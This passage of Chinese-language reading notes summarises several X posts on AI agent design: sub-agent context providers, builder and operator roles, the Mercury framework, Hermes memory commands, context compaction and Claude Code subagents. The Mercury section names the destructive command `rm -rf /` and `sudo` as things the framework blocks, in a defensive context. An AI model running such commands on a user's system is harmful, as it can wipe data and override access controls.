原始來源與檔名：20260512_2026-04-28T092611+0800-Context providers the missing layer between agents and tools.md
來源：[[@ashpreetbedi]] / X (Twitter) — 2026-04-28
原始檔名：`2026-04-28T092611+0800-Context providers the missing layer between agents and tools.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> The Problem: Agent <- sees 50 tools (Slack, Drive, Notion) -> Context pollution & scope collision.
> The Solution: Agent <-> ContextProvider (Sub-agent) <-> Source Tools
> Main Agent only sees: `query_slack(question)` and `update_slack(instruction)`.
_當你的 Agent 擁有多個系統（Slack, Google Drive, CRM）的工具權限時，它會撞牆：上下文被工具描述塞滿、工具名稱衝突（如多個 search 工具），且主 Prompt 必須記住每個 API 的怪癖。作者提出了一個架構模式：「Context Providers」。在主 Agent 與工具之間插入一層子代理（Sub-agent）。主 Agent 永遠只看到兩個自然語言工具：`query_source` 和 `update_source`。底層的複雜 API 邏輯由獨立的子代理處理。這大幅壓縮了主 Agent 的負擔並解決了衝突。_
### 一句話
> 這是一篇解決 Agent 工具過載與幻覺的關鍵架構文。現代 Agent 架構常常把幾十個 API 工具直接丟給主模型，導致嚴重的上下文污染與作用域衝突（例如 Slack 的 search 和 Drive 的 search 搞混）。解法是引入「Context Providers」封裝層：用一個專門的子代理接管 Slack 的所有底層工具，並只向主代理暴露兩個極簡介面：自然語言查詢（讀）與自然語言指令（寫）。這種「去中心化工具路由」讓主代理的智商瞬間回血。
### 餐巾紙草圖
```text
[ Traditional Flawed Architecture ]
Main Agent System Prompt:
- Here is how to use Slack's 12 tools.
- Here is how to use Drive's 8 tools.
- Here is how to use CRM's 10 tools.
Result: 80% of context is API docs. Hallucinations happen.
[ Context Provider Architecture ]
Main Agent System Prompt:
- Tools available: `query_slack`, `update_slack`, `query_drive`.
|
v (calls `query_slack("What did John say?")`)
Slack Sub-agent (Has the 12 tools, does the lookup logic)
|
v (returns plain text summary)
Main Agent synthesizes the final answer.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **三大撞牆期 (The Three Walls)**:
1. **上下文污染**: 引入超過 20 個工具後，Schema 描述佔據了大量 Context，模型開始幻覺。
2. **作用域模糊 (Scope Collision)**: 多個系統都有 `search` 或 `send_message`，模型容易選錯工具，無法組合使用。
3. **工具邏輯與業務邏輯混雜**: 主 Prompt 必須包含每個 API 的怪異規則（例如 Slack 必須先找 ID 才能發訊），這讓 Prompt 變得無法維護。
- **遺失的層級 (The Missing Layer)**:
打破 `Agent <- Tools` 的直接映射。
建立 `Agent <-> ContextProvider <-> Raw Tools` 架構。
- **實作方式**:
針對每個資料源（Slack, Drive, DB）建立一個 Context Provider（本質是一個 Sub-agent）。
它只向主 Agent 暴露兩個介面：
- `query_<source>(question)`: 自然語言讀取。
- `update_<source>(instruction)`: 自然語言寫入。
- **與 Skills 的關係**:
Skills 壓縮了如何完成任務的指令。ContextProvider 與 Skills 完美契合：Slack ContextProvider 的子代理在底層載入 Slack Skill，讓主代理完全不需要知道任務的存在。
- **驚喜發現**:
- 增加一個跳板（Hop）並不會變貴或變慢，因為主 Agent 的 Prompt 變得很小，推理速度大增，抵銷了開銷。
- 主 Agent 變得非常聰明，不需要額外的路由提示詞就能完美呼叫 `query_<source>`。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **封裝與抽象 (Encapsulation and Abstraction)**: 軟體工程的黃金法則在 Prompt Engineering 同樣適用。微服務架構之所以能解決單體應用的泥潭，就是因為隱藏了底層實作細節。ContextProvider 就是 Agent 的「微服務閘道器 (API Gateway)」。
2. **自然語言即通用協定 (NL as Universal Protocol)**: 傳統工具依賴 JSON Schema 進行強型別綁定。但 LLM 最擅長的是自然語言。透過把 `search_channel(id="C123", query="bug")` 轉換成 `query_slack("Find discussions about the bug in the engineering channel")`，將「找 ID、組 JSON」的髒活下放給專門的子代理，極大降低了主代理的認知負擔。
3. **讀寫分離的安全性 (CQRS)**: 將 `query` (讀) 與 `update` (寫) 分開成為兩個工具，從根本上防止了模型在「只是想搜尋資訊」時，意外呼叫破壞性 API 的危險。
### 關鍵證據
- 框架實測：在 Agno 框架中實作後，主 Agent 的 Context 大幅縮減，並且能流暢地在同一個 Turn 內同時呼叫 `query_slack` 和 `query_drive`，然後將兩個來源的資訊完美整合，這在傳統的扁平工具架構中幾乎不可能穩定做到。
### 邊界條件
- 如果一個任務極其簡單，且延遲要求在毫秒級（例如單純的計算機工具），加入 ContextProvider 會帶來不必要的網路/模型跳轉延遲。此模式最適合用於「龐大且具有自身 API 邏輯」的外部系統（如 ERP, CRM, GitHub）。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 這篇文章為《How to correctly use MCP servers》中的「Subagent MCP Servers」模式提供了完美的代碼級理論基礎。同時，也解決了《Anatomy of Agent SKILLS》中提到的 Context Bloat 問題。
- **深層洞見**: **"The minute you compose tools from sources you don't control, you get overlap, and the model has no reliable way to disambiguate." (當你組合來自不可控來源的工具時，就會產生重疊，模型無法可靠地消除歧義。)** 工具層的命名空間污染，必須用更高層的代理邊界來隔離。
- **行動呼籲**:
重構你的 Agent 工具鏈：
停止把 `[gmail_read, gmail_send, slack_search, slack_post, jira_create]` 全部塞給你的主 Agent。
寫三個小型的 Python 子代理腳本封裝它們，並只丟給主 Agent `[ask_gmail, command_gmail, ask_slack, command_slack...]`。你會發現 Agent 的智商瞬間提高了一個世代。
Agent架構
Hermes 是一個 Operator，不是 Builder (Claude as Builder, Hermes as Operator)
"這是一篇極具實用價值的 Agent 分工指南。作者指出不要讓具備「長期記憶與自動化執行」能力的 Hermes 去做「一次性的開發工作」。你應該把 LLM 依照特性分工：Claude 適合做「建造者 (Builder)」，用來快速刻畫儀表板與寫代碼；Hermes 適合做「營運者 (Operator)」，作為你的私人分析師，每天定時監控資料源、抓取資訊並根據你的偏好生成摘要報告。"
---
tags: [Agent架構, AI實踐, 工作流]
date: 2026-04-27
source: "20260512_2026-04-28T092517+0800-1 Month with Hermes - I’ve been using Hermes wrong all along.md"
---
# Hermes 是一個 Operator，不是 Builder (Claude as Builder, Hermes as Operator)
原始來源與檔名：20260512_2026-04-28T092517+0800-1 Month with Hermes - I’ve been using Hermes wrong all along.md
來源：[[@0xJeff]] / X (Twitter) — 2026-04-27
原始檔名：`2026-04-28T092517+0800-1 Month with Hermes - I’ve been using Hermes wrong all along.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Claude = The Builder (One-time tasks, fast UI/UX coding, artifact generation)
> Hermes = The Operator (Persistent memory, recurring jobs, background analysis, self-learning)
> Agent System = Claude builds the Dashboard + Hermes runs the daily operations on it.
_作者在使用 Hermes 一個月後發現自己用錯了。他試圖讓 Hermes 去建立複雜的資料分析 Dashboard，結果又慢又醜。頓悟在於：Hermes 的強項是「情境記憶與自我除錯的工作管線」，它應該被視為「營運者 (Operator)」。正確的工作流是：用 Claude 快速把工具或介面建好，然後設定 cron job 讓 Hermes 每天去跑數據、分析並產出報告。_
### 一句話
> 這是一篇極具實用價值的 Agent 分工指南。作者指出不要讓具備「長期記憶與自動化執行」能力的 Hermes 去做「一次性的開發工作」。你應該把 LLM 依照特性分工：Claude 適合做「建造者 (Builder)」，用來快速刻畫儀表板與寫代碼；Hermes 適合做「營運者 (Operator)」，作為你的私人分析師，每天定時監控資料源、抓取資訊並根據你的偏好生成摘要報告。
### 餐巾紙草圖
```text
[ The Agent Division of Labor ]
Role: The Builder The Operator
Tool: Claude Code / Artifacts Hermes
Strength: Frontier models, UI design Persistent memory, Cron jobs
Task: Builds the "PolyBond" Runs daily analysis on PolyBond,
Prediction Market UI sends alerts to user.
Nature: One-time / Interactive Recurring / Autonomous
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **前期迷思**: 作者前三週花大量時間教 Hermes 寫程式、除錯、架設儀表板，結果發現效率極低，介面也不美觀。
- **角色定位頓悟**:
- **Claude (Builder)**: 適合一次性的開發任務。建立網站、儀表板、寫代碼。擁有極強的模型能力，且 UI/UX 開發體驗極佳。
- **Hermes (Operator)**: 適合持續性的營運任務。特點是跨會話的持久記憶與自我學習。適合用來做分析師、生成每日簡報、監控特定資料源（如：預測市場、週末活動）。
- **實戰案例 (PolyBond)**: 作者想做一個整合預測市場的儀表板。
- 錯誤做法：讓 Hermes 建立。
- 正確做法：用 Claude 10 倍速建好 PolyBond 儀表板。接著設定 Hermes 每天早晚自動查看該儀表板的數據，並產出「今日值得關注的預測信號」簡報。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **能力的邊界決定職位**: 雖然所有的 Agent 底層都是 LLM，但不同的 Harness (外掛框架) 決定了它們的用途。Claude Code/Artifacts 的框架設計是為了解決「互動式開發」；Hermes 的框架設計是為了解決「無人值守與記憶延續」。
2. **Token 的經濟學**: 開發 (Building) 需要極高智商的模型（如 Opus 4.7），如果在 Hermes 上用 API 跑，成本極高且速度慢；而 Claude Pro 的訂閱制提供了更划算的算力。
3. **系統的耦合**: 最好的自動化系統是「人機協作」。機器 (Claude) 負責把「人類可讀」的基礎設施建好，另一台機器 (Hermes) 負責在這個基礎設施上 24 小時運轉。
### 關鍵證據
- 實例一：PolyBond 預測市場監控。Claude 建站，Hermes 寫晨報。
- 實例二：Bangkok This Weekend 儀表板。自動抓取四個城市的週末活動並更新，全由 Claude 建立，解決了「週末不知道去哪」的痛點。
### 邊界條件
- 這種雙 Agent 協作模式，前提是你需要知道如何將任務切分。如果你讓 Hermes 去寫一個大型系統的基礎架構，它會因為缺乏互動式的除錯介面而陷入無限循環的死胡同。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美呼應了《The Agent Development Lifecycle (ADLC)》中提到的「Agent 的不同落地場景」。Claude 是 Build 階段的工具，而 Hermes 是 Deploy & Monitor 階段的工具。
- **深層洞見**: **"You have to steer the AI. Not let it steer you."** 這句話點破了目前很多使用者的盲區：以為找一個「最強的 Agent」就能解決所有問題。真正的 AI 原生工作流，是做一個「包工頭」，把不同的任務派給具有不同架構優勢的 Agent。
- **行動呼籲**:
檢視你目前的 Agent 工作流：
- 你是否在用 Claude 每天重複做同樣的分析總結？（這應該交給 Hermes 設定成排程任務）
- 你是否在用 Hermes 嘗試開發一個全新的前端專案？（立刻停下，把它丟進 Claude Artifacts 或 Cursor）
Agent架構
Mercury：兼顧權限控制與自治的下一代 AI Agent (Mercury: The AI Agent We All Wanted)
"這是對新興開源 Agent 編排框架 Mercury 的介紹。作者一針見血地指出了目前主流 Agent（如 OpenClaw 和 Hermes）的三大痛點：權限過大導致的安全漏洞、上下文膨脹導致的 API 帳單失控，以及身份設定不透明。Mercury 透過「執行層權限鎖定」、「強制 Token 預算與自動壓縮機制」、「版本控制的純文字 Soul 系統」，以及「跨平台的無依賴後台常駐」四大特性，打造了一個真正適合開發者日常安全使用，而非僅僅是概念驗證的實用型 Agent 框架。"
---
tags: [Agent架構, 開發工具, 資訊安全]
date: 2026-04-22
source: "20260512_2026-04-28T092716+0800-Mercury The AI Agent We All Wanted - Where Control, Permissions, and Autonomy Finally Got Real.md"
---
# Mercury：兼顧權限控制與自治的下一代 AI Agent (Mercury: The AI Agent We All Wanted)
原始來源與檔名：20260512_2026-04-28T092716+0800-Mercury The AI Agent We All Wanted - Where Control, Permissions, and Autonomy Finally Got Real.md
來源：[[@Ctrl_Alt_Zaid]] / X (Twitter) — 2026-04-22
原始檔名：`2026-04-28T092716+0800-Mercury The AI Agent We All Wanted - Where Control, Permissions, and Autonomy Finally Got Real.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Current Agents (OpenClaw) = Broad permissions + Context bloat (High cost) + Disjointed skills -> Security Risks (RCE vulnerabilities).
> Mercury = Hardened Execution Layer (Blocks `sudo`/`rm -rf`) + Token Discipline (Auto-Concise) + 4-file Markdown Soul + Zero-dependency Daemon.
_雖然 OpenClaw 證明了開發者渴望本地端的 Agent 協作，而 Hermes 證明了持久記憶的價值，但它們都留下了巨大的安全與成本隱患。Mercury (由 Cosmic Stack 開發) 是為了解決這些問題而生的。它從底層硬性攔截危險指令（如 `sudo`），在 Token 消耗超過 70% 時自動壓縮上下文以控制帳單，並用四個純文字的 Markdown 檔案定義 Agent 的「靈魂（性格與品味）」。最重要的是，它作為一個無依賴的後台常駐程式運行，安靜且安全。_
### 一句話
> 這是對新興開源 Agent 編排框架 Mercury 的介紹。作者一針見血地指出了目前主流 Agent（如 OpenClaw 和 Hermes）的三大痛點：權限過大導致的安全漏洞、上下文膨脹導致的 API 帳單失控，以及身份設定不透明。Mercury 透過「執行層權限鎖定」、「強制 Token 預算與自動壓縮機制」、「版本控制的純文字 Soul 系統」，以及「跨平台的無依賴後台常駐」四大特性，打造了一個真正適合開發者日常安全使用，而非僅僅是概念驗證的實用型 Agent 框架。
### 餐巾紙草圖
```text
[ Mercury Agent Architecture vs Others ]
OpenClaw:
LLM -> Full Shell Access (Dangerous) -> OS
LLM -> Full JSONL History -> API Bill $$$
Mercury:
LLM -> Execution Sandbox (Blocks sudo, rm -rf) -> OS
LLM -> Token Budget Monitor -> Auto-Concise -> Predictable API Bill $
Soul -> [soul.md, persona.md, taste.md, heartbeat.md] in Git.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **痛點分析**:
- **安全 (Security)**: Agent 權限過大。OpenClaw 的第三方外掛生態導致了超過 800 個惡意外掛竊取憑證，甚至出現了 CVSS 8.8 等級的遠端代碼執行 (RCE) 漏洞。
- **成本 (Cost)**: 上下文視窗悄悄膨脹，API 帳單月底爆表。
- **身份 (Identity)**: Agent 的性格設定不是散落各地，就是被鎖死在無法閱讀的 SQLite 檔案裡。
- **Mercury 的解法**:
1. **真實阻斷的權限管理**: 從執行層硬封鎖破壞性指令（如 `sudo` 或 `rm -rf /`），連「提示批准」都不會跳出，直接拒絕。第三方工具獲得的是顯式、細粒度的權限。
2. **Token 紀律 (Auto-Concise)**: 設定每日預算。當消耗達 70% 時，自動觸發「Auto-Concise」模式，縮減歷史上下文，確保任務完成且不超支。
3. **分層的「靈魂」版本控制**: 使用四個 Markdown 檔案定義 Agent：`soul.md`, `persona.md`, `taste.md`, `heartbeat.md`。開發者可以用純文字定義偏好（例如偏好深色主題元件），且完全支援 Git 版本控制。
4. **全天候後台 Daemon**: 無需 Docker 等複雜依賴，直接以系統服務形式常駐（macOS/Linux/Windows），開機自動啟動、崩潰自動重啟、支援 cron 排程。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **信任與安全的邊界**: 把 Root 權限盲目交給 LLM 是極度不負責任的。LLM 會產生幻覺，也容易受到 Prompt Injection 攻擊。Mercury 把安全控制放在了系統底層（執行層攔截），而不是依賴 LLM 的「自我審查」或使用者的每次點擊批准，這是架構上本質的進步。
2. **經濟可行性決定產品壽命**: OpenClaw 被詬病最大的問題就是它粗暴地將整個對話記錄不斷回傳給 API。Mercury 的 Token 預算系統和 Auto-Concise 機制解決了「好用但用不起」的死穴。
### 關鍵證據
- 具體的安全事故：提及了 CVE-2026-25253 (OpenClaw RCE 漏洞) 導致 40,000 個實例暴露在風險中，以及 800 多個野外惡意外掛。這些血淋淋的教訓證明了 Mercury 強調權限控制的必要性。
### 邊界條件
- 「硬封鎖破壞性指令」在提升安全性的同時，也限制了 Agent 處理某些底層系統維護任務的能力。對於真的需要讓 Agent 管理伺服器基礎設施的高階維運人員來說，Mercury 的沙盒機制可能反而是一種阻礙。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《Company Brain》系列中關於 Memory 的探討。Mercury 採用四個 Markdown 檔案來定義 Persona 與 Taste，這正是「高可讀性、高透明度的檔案系統記憶」的最佳實踐，與 Claude Managed Agents 採用目錄儲存記憶的哲學不謀而合。
- **深層洞見**: **"We don't need another over-engineered application pretending to be a brain. We need a reliable, background-native worker that respects the token budget and won't blindly execute a destructive shell command."** 開發者不需要一個會撒嬌、會閒聊的花瓶大腦，而是需要一個安靜、省錢、不會把系統搞崩的數位牛馬。
- **行動呼籲**:
1. 如果你因為 API 費用或安全疑慮而放棄了 OpenClaw，可以嘗試安裝 Mercury (`npm i -g @cosmicstack/mercury-agent`)。
2. 在開發任何 Agent 系統時，引入類似 Mercury 的 Token 預算與 Auto-Concise 壓縮機制，保護使用者的錢包。
Agent架構
三個命令讓 Hermes Agent 變成數位生命 (From Machine to Digital Life: 3 Commands for Hermes)
"這是一篇將 Agent 擬人化架構落地的極簡操作指南。作者以 Web3 投資為例，展示了如何透過三條命令列參數啟動 Hermes 的進階功能。文章的核心洞見在於：不要告訴 AI「你是一個助手」，而要賦予它「處理真實世界的元邏輯」；不要只給它短期工作區，要給它帶有衰減算法的「情境記憶」；不要讓它每次重新思考步驟，要讓它把成功流程編譯為程式碼形式的「肌肉記憶」。"
---
tags: [Agent架構, AI實踐, 認知模型]
date: 2026-04-23
source: "20260512_2026-04-28T092437+0800-3个命令让你的Hermes从机器变成数字生命.md"
---
# 三個命令讓 Hermes Agent 變成數位生命 (From Machine to Digital Life: 3 Commands for Hermes)
原始來源與檔名：20260512_2026-04-28T092437+0800-3个命令让你的Hermes从机器变成数字生命.md
來源：[[@eastweb3eth]] / X (Twitter) — 2026-04-23
原始檔名：`2026-04-28T092437+0800-3个命令让你的Hermes从机器变成数字生命.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Digital Life Agent = Soul (Identity Layer) + Episodic Archive (History Layer) + Muscle Memory (Skill Layer)
> Soul = `--init-soul "First-Principles-Only"` (Anchors meta-logic, not just a persona)
> History = `--enable-episodic-index "Hybrid-Vector-Graph"` (Contextual memory with decay)
> Skills = `--compile-procedural-skill "Autonomous-Loop"` (Compiles repetitive tasks into executable snippets)
_在 2026 年，如果你的 Agent 還只是「一問一答」，那它只是個對話框。真正的數位生命必須具備自我演化能力。作者透過三個 Hermes 的 CLI 命令展示了如何將 Agent 升級：注入第一性原理的元邏輯以塑造「靈魂」；啟用混合向量圖譜來構建能回憶歷史對話的「情境記憶」；並將常規任務編譯為微型腳本以形成「肌肉記憶」。_
### 一句話
> 這是一篇將 Agent 擬人化架構落地的極簡操作指南。作者以 Web3 投資為例，展示了如何透過三條命令列參數啟動 Hermes 的進階功能。文章的核心洞見在於：不要告訴 AI「你是一個助手」，而要賦予它「處理真實世界的元邏輯」；不要只給它短期工作區，要給它帶有衰減算法的「情境記憶」；不要讓它每次重新思考步驟，要讓它把成功流程編譯為程式碼形式的「肌肉記憶」。
### 餐巾紙草圖
```text
[The 3 Layers of a Digital Life Agent]
1. Soul (Identity Layer)
Prompt Memory -> Bias Profile, Logic Anchor (e.g. Verify, don't trust)
Result: Autonomous perspective, no more generic "As an AI..."
2. Context (History Layer)
Episodic Archive -> Hybrid Vector-Graph Indexing -> Decay Algorithm
Result: Remembers your complaints from 3 months ago and applies them today.
3. Execution (Skill Layer)
Procedural Skills -> Compiles workflows into Python Snippets
Result: "Muscle memory" for automated loops (e.g. scanning Twitter alpha).
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **現象**: 傳統的 Chatbot 只是一個會說話的工具，而 Hermes 可以被配置成擁有「靈魂」的數位生命。
- **步驟一：靈魂初始化 (Identity Layer)**:
- 命令：`--init-soul "First-Principles-Only"`
- 做法：在 Prompt Memory 中設定元邏輯（如：精準度 > 禮貌；驗證一切）。
- **步驟二：激活情境檔案 (History Layer)**:
- 命令：`--enable-episodic-index "Hybrid-Vector-Graph"`
- 做法：開啟長期記憶。Agent 會將過去的對話與經歷，透過向量與知識圖譜存儲起來，並具備遺忘曲線（衰減算法）。
- **步驟三：編譯肌肉記憶 (Skill Layer)**:
- 命令：`--compile-procedural-skill "Autonomous-Loop"`
- 做法：當 Agent 執行過幾次複雜任務後，會自動將邏輯打包成一小段程式碼 Snippet。未來只需說「刷一下」，它就會自動調用這個技能。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **人格的錨定 (Anchoring)**: 如果只給 Agent 角色設定（Persona），它在遇到複雜或邊界外問題時容易崩潰或回到預設安全模式。給予「元邏輯 (Meta-logic)」——如「從第一性原理出發」——才能讓它在面對未知數據時，展現出穩定且獨立的思考能力。
2. **記憶的實用性在於「召回機制」**: 單純把所有對話存進資料庫沒有意義。文章提到的 `Score = Similarity(v_now, v_past) * exp(-lambda * t)` 展示了記憶需要被賦予「時間權重（衰減）」。這讓 Agent 能像人類一樣，對近期的警訊保持敏感，但又不會忘記遠期的深刻教訓。
3. **能力固化 (Skill Compilation)**: 讓 LLM 每次都用 Prompt 推理如何過濾推文，既浪費 Token 又不穩定。將其編譯為 Python Snippet（肌肉記憶），是將「智能推理成本」降級為「程式碼執行成本」的終極最佳實踐。
### 關鍵證據
- 案例展示：在投資情境下，經過記憶與邏輯改造的 Hermes 會主動提醒使用者：「這和我們上個月分析過的 Rave 拉盤陷阱高度相似，建議避坑。」而不是盲目幫你分析當下走勢。
### 邊界條件
- 這種深度的個性化與記憶累積，高度依賴本地化運行或專屬的 Context Hub，如果切換設備或清空快取，數位生命可能會「失憶」。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對應了我們本週研究的《Contextmaxxing》與《Company Brain》概念。文章中的 History Layer 就是個人級別的「交互記憶 (Interaction Memory)」；Skill Layer 則是「行動記憶 (Action Memory)」。
- **深層洞見**: **"不要告诉它「你是一个助手」，要告诉它「你如何处理真实世界」。"** 這是寫 System Prompt 最核心的頓悟。指令（Instruction）是給機器的，哲學（Philosophy）是給生命的。
- **行動呼籲**:
在你的 Obsidian `CLAUDE.md` 或系統提示詞中，立刻加上一段 `Logic_Anchor`：
- 你的推理原則是什麼？
- 你在遇到衝突時該偏向哪一方？
- 寫下「精準度大於禮貌，直接指出我的邏輯漏洞」，讓你的 AI 助手開始長出靈魂。
Agent架構
上下文壓縮器 (Compactor)：決定 Agent 智商的真正瓶頸 (Agent Compactor)
"這是一篇探討 Agent "記憶清除機制" 的硬核技術文。作者指出，一味擴大上下文視窗只會帶來「Lost in the middle (中間失憶)」和成本飆升。真正的決戰點在於「Compaction (壓縮)」的設計。各大廠選擇了不同的路線：Cursor 訓練模型自己寫摘要、Morph 堅持逐字保留但刪減過期資訊、Claude Code 採用動態載入延遲壓縮、而 Sourcegraph 認為摘要會失真，乾脆直接讓舊 Agent 死亡並交接給新 Agent。最後點出：目前的「記憶」都只是在玩弄 Context，真正的記憶必須走向模型權重的更新。"
---
tags: [Agent架構, 前沿技術, 系統工程]
date: 2026-02-15
source: "20260512_2026-05-05T093935+0800-Your Agent's Compactor Matters More Than Its Context Window.md"
---
# 上下文壓縮器 (Compactor)：決定 Agent 智商的真正瓶頸 (Agent Compactor)
原始來源與檔名：20260512_2026-05-05T093935+0800-Your Agent's Compactor Matters More Than Its Context Window.md
來源：[[@himanshutwtxs]] / X (Twitter) — 2026-02-15
原始檔名：`2026-05-05T093935+0800-Your Agent's Compactor Matters More Than Its Context Window.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Agent Burn Rate = 25k tokens/turn -> Window Fills -> Compaction triggers.
> Compaction = Overwrite History with Summary.
> High Compression Ratio != High Quality. (Instruction following survives, Artifact tracking dies).
> True Memory = Model Weight Updates (Not just Context Engineering).
_不要迷信 1M 或 2M 的超大 Context Window，它救不了你的 AI Agent。當 Agent 在編程時，短短幾輪就會燒掉幾十萬 Token，最終視窗一定會爆。這時系統必須執行「Compaction (壓縮)」：用總結取代歷史記錄。這篇文章深度對比了業內 7 種完全不同的 Compaction 哲學（從 Cursor 的強化學習總結、Morph 的物理刪減，到 Sourcegraph 的暴力交接）。它指出：Agent 變笨，通常是因為壓縮器在刪除歷史時，把關鍵的檔案路徑與推理過程也給刪了。_
### 一句話
> 這是一篇探討 Agent "記憶清除機制" 的硬核技術文。作者指出，一味擴大上下文視窗只會帶來「Lost in the middle (中間失憶)」和成本飆升。真正的決戰點在於「Compaction (壓縮)」的設計。各大廠選擇了不同的路線：Cursor 訓練模型自己寫摘要、Morph 堅持逐字保留但刪減過期資訊、Claude Code 採用動態載入延遲壓縮、而 Sourcegraph 認為摘要會失真，乾脆直接讓舊 Agent 死亡並交接給新 Agent。最後點出：目前的「記憶」都只是在玩弄 Context，真正的記憶必須走向模型權重的更新。
### 餐巾紙草圖
```text
[ The Compaction Crisis ]
Turn 1: Context [================....] (20k tokens)
...
Turn 20: Context [====================] (200k tokens - FULL!)
-> COMPACTION TRIGGERS <-
Bad Compactor (Standard LLM Summary):
Result: [================]
- Remembers: "Fix the UI bug."
- Forgets: "File path is src/app/ui.tsx" -> Agent hallucinates and starts over.
Good Compactor (Cursor Composer / Morph Deletion):
- Preserves exact artifact paths and reasoning chains.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **什麼是 Compaction**: 當 LLM 上下文裝滿時，用較短的摘要替換完整的歷史記錄，讓 Agent 能繼續工作。這是決定 Agent 會不會忘記剛改過什麼檔案的關鍵。
- **為什麼大視窗無效**: 1M token 裝滿只要一小時。更多 token 帶來更嚴重的 "Lost in the middle" 效應，且成本呈線性暴增，價值卻沒有。
- **壓縮的破壞力**: 評測顯示，壓縮後的指令遵循依然完美（記得任務目標），但「物件追蹤」崩潰了（忘記檔案路徑、錯誤碼、改了哪行程式），導致 Agent 不斷重複讀取相同檔案，引發死循環。
- **業界七大流派**:
1. **Cursor**: 透過強化學習訓練 Composer 模型「自己總結自己」，精準保留編程所需的上下文。
2. **Morph**: 拒絕總結（怕幻覺），只做物理刪減。保留 50% 但一字不差。
3. **Claude Code**: 三層緩衝。先 JIT 即時檢索、再清理工具輸出（只留 Call 不留 Result），最後才做全量壓縮。
4. **Sourcegraph (Amp)**: 拒絕壓縮。滿了就寫一份交接文件 (Handoff)，啟動新的 Agent，舊的直接殺死，避免「摘要的摘要」造成失真。
5. **OpenAI**: 訓練專屬模型 (GPT-5.1-Codex-Max) 讓跨視窗壓縮成為原生能力。
6. **JetBrains (Complexity Trap)**: 學術派。直接刪除舊的「觀察 (Observation)」，只保留「推理鏈 (Reasoning)」。檔案可以重讀，推理不能丟。
7. **LangChain**: 讓 Agent 自己決定何時壓縮，而不是硬性規定 Token 上限。
- **殘酷真相**: 目前的跨 Session 記憶，本質上還是「上下文工程 (CC-engineering)」。真正的記憶需要 Consolidation (將經驗轉化為模型權重)。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **壓縮比 (Compression Ratio) 是一個虛榮指標**: OpenAI 的壓縮比高達 99.3%，但品質最差。因為大模型在壓縮時會發生知識覆蓋 (Knowledge Overwriting) 與語意偏移 (Semantic Drift)。保留 50% 絕對正確的原文，遠比 100% 壓縮但細節錯亂的摘要更有用。
2. **推理鏈 > 觀察物**: JetBrains 的研究指出了本質：在程式開發中，檔案內容（觀察）隨時可以用 `cat` 重新獲取，但 Agent 「為何決定放棄方案 A 改用方案 B」的思考過程（推理鏈）一旦被壓縮掉，Agent 就會重蹈覆轍。
### 關鍵證據
- Factory.ai 對 36,000 條真實生產訊息的基準測試數據：Instruction Following 維持在 4.9+，但 Artifact Tracking 暴跌至 2.19。精準地用數據證明了「Agent 為什麼總是忘記檔案位置」。
- 史丹佛的 "Lost in the Middle" 論文與 HELMET 基準測試，打破了「Context 越大越好」的迷思。
### 邊界條件
- 「交接模式 (Handoff)」雖然避免了記憶失真，但在啟動新 Agent 時，必須承擔極高的 Prompt 載入成本 (TTFT - Time To First Token)。如果切換頻率過高，將會導致系統回應變得極度遲鈍。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對應了前文《The 5-Layer Architecture Behind Claude Code》，Claude Code 的 Hooks 和 Subagents 設計，部分原因正是為了延遲或避免主 Agent 的 Context 爆炸，將 Compaction 壓力轉移。
- **深層洞見**: **"If in-context learning is gradient descent, then compaction is momentum." (如果上下文學習是梯度下降，那壓縮器就是動量)。** 壓縮留下來的東西，決定了 Agent 接下來幾十步的演化軌跡。
- **行動呼籲**:
如果你在用 LangChain 或是自己手刻 Agent，不要用普通的 `gpt-4` 來做 Memory Summarization。學學 JetBrains 的方法：當上下文滿了時，優先寫腳本暴力刪除對話歷史中的 `<tool_output>` 和大量的程式碼 Log，但死死保住 Agent 的 `Thought (思考)` 欄位。這比任何 LLM 總結都有效。
Agent架構
保持 Claude Code 上下文純淨：子代理 (Subagents) 的實戰指南 (Keep your Claude Code context clean)
"這是一篇極具實操性的 Claude Code 優化指南。作者指出，單一上下文視窗會被大量的終端機指令工具輸出所污染。透過在 目錄下建立 Markdown 格式的子代理定義，你可以將「探索 (Explore)」或「規劃 (Plan)」等複雜任務外包。子代理在隔離環境中運行工具，只回傳精煉摘要。更進階的玩法是開啟 ，讓子代理繼承主代理的上下文記憶，實現高效且乾淨的平行任務處理。"
---
tags: [Agent架構, 開發工具, 效能優化]
date: 2026-04-27
source: "20260512_2026-04-28T092649+0800-Keep your Claude Code context clean with Subagents.md"
---
# 保持 Claude Code 上下文純淨：子代理 (Subagents) 的實戰指南 (Keep your Claude Code context clean)
原始來源與檔名：20260512_2026-04-28T092649+0800-Keep your Claude Code context clean with Subagents.md
來源：[[@dani_avila7]] / X (Twitter) — 2026-04-27
原始檔名：`2026-04-28T092649+0800-Keep your Claude Code context clean with Subagents.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Messy Context = Main Agent + (ls + grep + find + cd) * 50 -> Context Bloat & Summary Loss.
> Clean Context = Main Agent -> Calls Subagent -> Subagent runs isolated tools -> Returns 3-line Summary to Main Context.
